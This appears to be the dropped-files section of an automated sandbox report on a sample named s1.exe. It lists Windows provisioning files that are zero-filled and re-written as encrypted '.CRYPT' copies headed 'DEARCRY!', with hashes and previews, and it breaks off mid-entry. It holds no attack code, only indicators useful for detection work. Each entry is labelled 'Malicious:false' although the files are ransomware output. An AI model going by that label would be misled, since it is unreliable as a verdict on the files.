                                                              Preview: DEARCRY!....J.~k1..`..B......v.f...j.F....p.X..gw..a....*:.T.e.d.....PEI...4.qZ..k.b.N.).C.....(8.....@..|$..+.ny.V..r...6..3*..h.;..Wak..4S3.C......x...J..M.P]3).(.X.xO.P.X....3_...R..5...H..%.q[1....^.;....W.k..*...y.!.&...,.5.DH.T..OTd.L..i.z~..............[..'....G.*.8.Y.......U.b.].?....&p.]...xf,C...4...L.~......:.:...o.Vy..j...j. a}.........3}..2.a-...........6.e..0.$....l.....+.\.W.:.HF.kS.3...|.j.w..|....5....K@P...W..J..v.2.R....0..zE...N$N7.4.M.^NsK.. .["`...E5..[{...I.7..>`'.V....J.C_[..S.}.....o.q...=.
                                                              C:\ProgramData\Microsoft\Provisioning\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\Prov\RunTime.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):428
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:9D02521A328D18B8FD982486991AF862
                                                              SHA1:AE276287A7A3A33E983262906F4537F89F3049BB
                                                              SHA-256:78FA7FB436119F79A7108314A39FEC79FEC29D37794C9EF417D7A76D036E1EAD
                                                              SHA-512:4F167D8EE125F0F1B1510907D3E9CF9CB39D12F5CD6B90F2DD8B5BC9D77B9AA1688F0BACB4C7630D3053BA9D5C3A7CB0D60C0CBF073CE418ACF6BAFD8B07516A
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Provisioning\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\Prov\RunTime.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):712
                                                              Entropy (8bit):7.701890690365575
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:F6824DD3270F245A03E2A0503EB77B1E
                                                              SHA1:9CBE94C5EE5A1FAF38E18CEF10F61E0519E61FDF
                                                              SHA-256:5FE027846136E11643BD582490AA0389A8E8448C8832ECDCCD616F86B0B28D9E
                                                              SHA-512:BF394A6F42EC8C87AE6F962610319F91341BB45075C4AA2912925CD2ECE4ABFC74113F30C1073D9D229ABB611719B751A20D6F33F368087017C022F6087048DA
                                                              Malicious:false
                                                              Preview: DEARCRY!....Gn......>..7".S9..nZ.k....Pkjj...8l.?.K_..MU.:II..z.st..B.....!.....Q.s...3..`..}i7>....?.y...qu...qC..7UF.].'u..Z.o...M... .:}h...Pn.#.a.=;.)x^A.DW.a.h%2m.r.Y<7N. v...M|_|..!7.|.oa..:9....g...U....<t..W.?.......".......>..E...vp...._=.(.GQ............C.8q....U..Q......y.....=]&Qo...C6B..R$j.....~...k....V.;.u..x6.m..M....iIx...Y.;.OW.....B".....l....].....g.7Pp..P.Li........."..{Y.iatpr~K....@N......-..1...8H...9...F. b..... B. 4h.S.@....=.|R.....Y...Z....r!...&.+..?..*...(.f{Yj`q.ou....94..K..B..w...U..)*.r....L.#0.1.N.#.y.D4t....b.@../v.Jw9KE.7.X....%./....x.......r.;..b@.o:L...K..@E)..E..%.....w.5..1b..Z.\A.....PH..].2R{..Px.kk...d4.*?if..Wo..^P........
                                                              C:\ProgramData\Microsoft\Provisioning\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\customizations.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):1631
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:1F36A0E34358C33D156D7CF1851C1289
                                                              SHA1:6D1E8317437AE822DCE623C29CCCF47BF6E0D28C
                                                              SHA-256:C1026484C0213E2E2FAD815DAF26DA0A0CE2644626013143F124453ABECE00D0
                                                              SHA-512:F77BEF7C61862EB9D4F2969122AE52854B813DC078F2886886D261077F011B7EC80F03715B01C6937FDFEF3F2C6E0E40C36CBF7189FDDAC9557E89EAC323B4FC
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Provisioning\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\customizations.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):1912
                                                              Entropy (8bit):7.899023281582766
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:9E166D653E26DAB294AB829F19BCB181
                                                              SHA1:EB3D5D8B595E52E1C860CCE87FE2C10920FA9647
                                                              SHA-256:CB93790562EB3CEDB3D7BB3441135312BEC22B2CD3F795E04AB8303661D158EE
                                                              SHA-512:992B1461DD6FC25CD1C835015735801AAABAAC50E9E575FD526E31C0A6982C23C2D6F59B73D46008CCB35887AA53A84776A86BBAE6F155CB8DEB504CB02A719F
                                                              Malicious:false
                                                              Preview: DEARCRY!....R.xl...4..9:..l..;,Y...\..&.. ..L.Wv...l...al].B....r.n^...U.V.f......F..S.w..uk....T....IL..7.=....+v....(W.?J....a@.|.1...W..W..uq.y.....eZV.>.\.^.;.{.Z.......H.#..}T..-".D&.....%R./.."..'Au....q..G.,....o<~_..5.c....]:.x3.5...lh...<.b. .L.E...._..........g.......^8..>.THq..,F.*....G..8^..\./a.[tr.........d5..j=.%5..l....VOH..n..9j.O..)4s..._WJ".X.|}H..6........L..*;...axX.."K:0&..s....|.p.CQ.~C.A.x.......q6M.5.=...;|...9.9d..-.T}T.*w.i..Mq>m..m....y..0s^......)..j...f...b...O}.~....U..I..R:.....g.*{9?.].;z0b{!p>xb....02..y.....V.?....I.C.........RA..u7G.s.....;_...n|".v...'?.q.g.........."......DQ"/<t)./...-sE..}._s.J...3..L.[....0..Q.3.O.n@.b....=.@x..n..$.8.p...}kvK....`.....'..Z6o.%....>......@.6X.h...[IjU...t.T5..~..G....yI.q*S.....6t. ....K.L....R@Q{D.D.Q._+..x..|zO..0.6.pmJ..d.:...Z...\m.#..U._..cn............%..u(.T1...R.....x.kYG2r....dvX.%..e.M[.C.P;n-..f>X..m.....!.AG.....W.!.B.......\$....`.....Z.?jF....Z0.!.k....
                                                              C:\ProgramData\Microsoft\Provisioning\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\MasterDatastore.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):271
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:8A60A7CE7E68B0817CD3C8B86D138532
                                                              SHA1:B2585AD3639584F809CD4357A30F9B60B2E087FF
                                                              SHA-256:DE13AD3B28F0F1517DCEBD290F646F04D9B864C226CB3611D55975516E663FE2
                                                              SHA-512:D7E59D4D719111ED9826F08BADC6BCAF13F21844DFE2F55FB5E50B607E9A0779858E36C555C8CB038D23E82C1D1298226C93005859BA0D1E5FEF1B6B3FBEA1D2
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Provisioning\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\MasterDatastore.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):552
                                                              Entropy (8bit):7.56416609140233
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:2B48DF577F2F81C89191CFBDD9E37DCF
                                                              SHA1:6EFC05E9D47CFF1843E8D7B89208B5813F11C42E
                                                              SHA-256:F8044323932E1F92C2228B359F90E15F6F7C974BE64F3272D372C914CE50366F
                                                              SHA-512:B1D837A30B474FAFCA3162C8E5C837C14BED1C40BCD04C362A401DF6AA4729D1E37CF99E8281B05D24FF81097C86F566A9B8FFDE0F22BCED892A099D13CBE278
                                                              Malicious:false
                                                              Preview: DEARCRY!....~-..n...&..M......j..O.....T.....y..P}.T.....~.............y..3...r..(.2..}!.U#..\..mlW......@.[~...>j..l.X...].-%&'$.m&........K.{.......{....f.mJO.M#....0;'+<$.o..F....Z..6s.;P)r.Y.:.$.,...vg..i...;....`..^.......s'.8.7I4...veV.nj...c..{................x...().dS.`i!9.*fT.o=X......(h[)...(..^..,.....,{...r...Nnl.r.W...,. [.......%b9qC..:&{r..'.7..|.C.!..r...&...P1...X..bk#_........!.B(...M ...qL.....h.r[......i.K.{..m.h.Z..i.@.a.....|.......9+C..'4..S....M.&d4.K*.{....z..."!~dE.&.....MG.T...h......q.......
                                                              C:\ProgramData\Microsoft\Provisioning\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\Prov\RunTime.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):251
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:C5B2CC42CAD6BAFE68B2CE48763BF498
                                                              SHA1:7687EA986304DF2B7C64237143E7ECD89B022D3F
                                                              SHA-256:599045BE2B36ED4A06B4C7385889C9855BB5FB6DE4D03F228458A7A7FF650127
                                                              SHA-512:195B5FE7AA2437411CECFA3158D3424624B12E99586BC32CF68305E9703BA89C66B5F3C14A708475C48010781273016C01B554EAB3BECF834D5A99562170ED4A
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Provisioning\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\Prov\RunTime.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):536
                                                              Entropy (8bit):7.600094900822623
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:B8CFAD03E970888FE91D7B9E99ADB58F
                                                              SHA1:ED5AC31C920F1FAA0069D4278606CE59A31D2D6D
                                                              SHA-256:58924E066E4D5063658209683B6DCB17A2B85D1D38A493E3EDDB94ACDD8686DB
                                                              SHA-512:48BE1D1464EA2115D445670EE37053EAAC5130A5FB134E4E3F1567297DCD75B61390DD2CD75832EB080828406FF8B9A477DE4F9F562D684A021B6F6D6353A8E8
                                                              Malicious:false
                                                              Preview: DEARCRY!....+pL.D.9.....4E.Y.5.,...J~2\q.....5....5...%u..}..S..}B.6FM...a7..w.^;.m#O....1.d<t.P.q.`c..a*M...d....^u..[..b..&......i.d#:%..&}Y_.......d...3.q.....0.].E=}.d.S.O}M'..5..NI=..M..]..C....1Yk.....|..GU...N0r..j...s.]..........T.\.co..Cl...n.@.\............+..0.{.?...FW...up[.a........HT....8....FP@....8 /...}.fB.....4.{K.....w.VMe.MZ. a..(.~.Ei3V."..82y[..N.Q.t.:P.....NIiKH-........n.b. ..E.`...;~.2~.P..9.7.pu.n......ah....8.......3.#..v..9.o.wJ............._-.3.*.G................N...k...
                                                              C:\ProgramData\Microsoft\Provisioning\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\customizations.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):1439
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:72C70EFA1BB5B75BC6DF83B41E6878C7
                                                              SHA1:00ED2132C2AC5897DB303E3EEC7CF0FAA02C062A
                                                              SHA-256:81FF66873DFB46D6F5341352552B6123EE60BC47AB731E704458E6437E68A135
                                                              SHA-512:73A03905B8D8551297F738BD083B1AF5E16CFA0DEF8DAA157BD44D0D0EF9F06F5411FCB298F9D910B9CC66CA5D07E85AEE18647C705EE555A2F84D07A9D9512C
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Provisioning\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\customizations.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):1720
                                                              Entropy (8bit):7.891968514920038
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:22F58B2B03283BFF70820C4BE33BE984
                                                              SHA1:B8187033FB6D9E43C17BE30F22F6C6571F836799
                                                              SHA-256:ECFE84E0CEF57F139F842D00B76B863069E948E2618D2C63C6839E76F710A377
                                                              SHA-512:81AC384157B1C1CC8E60B983BB9B81CA66378AF1EFA94DEC2367A18CABA1EF6595FFD8FA75B50752E5B447BE73787FE99A1C423EF460C3A1F9DDBC79279830FF
                                                              Malicious:false
                                                              Preview: DEARCRY!....1..0g._...i.I..H|h?..Mj8...........P... W.m...!...b*(.r!L.....Jn.T..0e.2.@$....6.....,.<......Z...g......Oh...X.._.K...lB..9y........t.QZ>..).q..U..|WxA..WIrJOw..O.....\H."u..((+0....[..Hy...j...m....*.n_.....n...G[.|3A....X..n.:Y...'..}....}...*............ytf.f....X..-b.e....:.....T.^...PG..=.nD{..}v.?DJf..S...;$u...T.J..{.....h.Z.E.V.{.C.gl...dI.........5)S.fj.'...5....L..0$x..2-m|.;..;:U<...u.\d.......-.J.sL./.H..R...$..#.E2W........gj......+_B.{....M.N...S%.1V.&..O.r]..e..".s...4.Q/.9...Y..v..g51.y2n.I.w.F..e.!..a|%............../X+V.O......<.....A.....)<<..;,.8...6..0}..J.DHDZ..YM.7...JslX4...o......H!3....R_..=...@.gW.....Z.d....o.r.1?...|Y....h...VP`.HC.4.bNp...0..?....vRr....G...9...D}i...-.....Xcz.Y....V..:u&../7..r.Y......Gz;........+H.,.LT.l...%6R~*........)m.....4..k.WD.sn..Ft%.2.m...cwE+S...+.IE.c.I..^.+..V.L..\..A._.d..*s&.;..D.k9.....3/.c8,8....`..yd.Q.....'.t1.....GZ.\.....W7.....#........0."..l..b. 2.......
                                                              C:\ProgramData\Microsoft\Provisioning\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\MasterDatastore.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):271
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:8A60A7CE7E68B0817CD3C8B86D138532
                                                              SHA1:B2585AD3639584F809CD4357A30F9B60B2E087FF
                                                              SHA-256:DE13AD3B28F0F1517DCEBD290F646F04D9B864C226CB3611D55975516E663FE2
                                                              SHA-512:D7E59D4D719111ED9826F08BADC6BCAF13F21844DFE2F55FB5E50B607E9A0779858E36C555C8CB038D23E82C1D1298226C93005859BA0D1E5FEF1B6B3FBEA1D2
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Provisioning\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\MasterDatastore.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):552
                                                              Entropy (8bit):7.579017624351536
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:EC126D5BB77D9A8EF0E3425E556F0AAE
                                                              SHA1:B266184FE00FBC9EF84C0BC14162E091B830A636
                                                              SHA-256:5F1EEA17E6C2D502BBFB9702B34865483D4D016C49CC96916FAA274C3033CD5B
                                                              SHA-512:BEB3AFC6B2946889BBAF2BCC6B519E60D9CD759AF117B557FD8E718081B2A89231D7EE582AFAD905A9E0E5289B77B10F311A86B02B383924636291F512A5637F
                                                              Malicious:false
                                                              Preview: DEARCRY!....g..T.f.mDk.P..7.^...VR....9...w..D....M}.......v...36....TH.+o9...sY.d.....7..\@.,.7f....5K.H.,Y#..&...,.......]w....).i...R.(.ar.O........c...C.....G.a....V...O....s.?N..jt...R........D.O...SzN.f...P.....mjs..A.T/D......^.*.......N..Hx.................*.vR]./.N(.{.v....&......t+1.N...k...q....{6./>m....Y ...dJ.....fL... 3..hF8..)....MW...M]$...z.>|Q..56d..I.Bs..C........-T.^s...|...yd...~.]..........,..05.O-5..@..m.L..@..VUC. )..2............w.....Q^......_n.b[.S...........]f...5.]8.R.1...7,.c..'H.%.X6
                                                              C:\ProgramData\Microsoft\Provisioning\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\Prov\RunTime.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):599
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:9039704BD4BE28FC65B613BE102C7749
                                                              SHA1:C0FA2BB9763F3EB0E3B87D2E4FA79EA45C4D2CA2
                                                              SHA-256:849A65F8EC311FE724F4FBB749E5A18DCC02E8ABD9C995D643F4DD190822545F
                                                              SHA-512:479D6CBDEE2A1324FE9018FFFF8E984AD70BD36EDAE602A100A43622F441C8736AD955DD14903F431DDE402A3B3FD06BA2D9195FA98EF77B75300079E3313617
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Provisioning\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\Prov\RunTime.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):888
                                                              Entropy (8bit):7.783848694097124
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:9D6839A3D72A6B0D88FC0104F162DC90
                                                              SHA1:81115CE8B9EA0768A0E114A965F1BE943CC1BD83
                                                              SHA-256:A309DAAFE7B3BA448F58C6F78DE6D11F234374DFCEA420BE1E945FAF2A26C586
                                                              SHA-512:C9C8DBDB5C8446F6CCA6285356FAF7B733E97D3B5707EDC088CD27981DE8EF8668E5EE40357A0E2B98D1B3571334E6E98A7506F87DA0C15666831DCA20097DFA
                                                              Malicious:false
                                                              Preview: DEARCRY!....!u...en...mGI<).A?.ms.JN..t...6..JT[.T.cC...$xt#.6...Hc.....b.)./....|p. .?...B!....#.`...<X.....D..>.77I(..v......9.<....d"....1....P.K...R/&.(n.z.b.....-&wS.g..:1Yo..J...)P]....v.........G.cN..$.....@..*.]."...2...Y..KA.b../.%,.&..g........s....W........O.`|....(......_..m......).r.....t...,]C.x.g..:R... ..j.$...*5..#=.?.*|...;.`.H..Cd.i."...e>Zd.f|u.4.!.?..D.......W....34............{....`.VS.N.Y...M.r.a...inF..&....1...'.p.w....=oz.`.lZ.Fo.}=x......_J....%.F.....P.-(.EY.LA.Z..j. e.~I....\.%v'.....k.^).........nYE.<..&`.Ku.f..s...R.....b..:..N(Fd.`.7....sWpK.e...j......5.s.....r.......`.l..A$..Y2r....cOw"..u..u.I.......a.T.!.....IOv...+{.T...+..t..}b...XmR<....6(.8Mbf...p...C.Y.H..m.S...&.P...........zI.RgZ..A'+.......r..9v.....K..oD..wx.?{;i.wWF.f..".&...x..s...N .P..k>`V4.v....)...E.^..F.F..^=y.]4B7JM,.@.......#.).
                                                              C:\ProgramData\Microsoft\Provisioning\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\customizations.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):4420
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:68F5E72CA7D9C4665D1AB82DA221F42D
                                                              SHA1:4D7243EADB73B44959C8C9F191438032C8116142
                                                              SHA-256:A44AD950ABF72EA52021821F210C719F3113EA2CB2F1A71472C26D5E85D075B0
                                                              SHA-512:A0EEDB65F252CDDC34CDD68C55B6F60D918BC4FA918D105B2B01FAAAA371532DAF5E0088CA6A31AB7D5B256D6074CE05EABDE4E4E67D2C18C4F28E37CC135099
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Provisioning\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\customizations.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):4712
                                                              Entropy (8bit):7.961016888552293
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:AFB58E127993125B6C1E68D8E47B6D33
                                                              SHA1:5D81BDDA9B0E1E0DDBDA4E7029B256850F341828
                                                              SHA-256:E25C44C2FBBCC8637F933102BD030B70E2E9382837870481F06674E50D14F94C
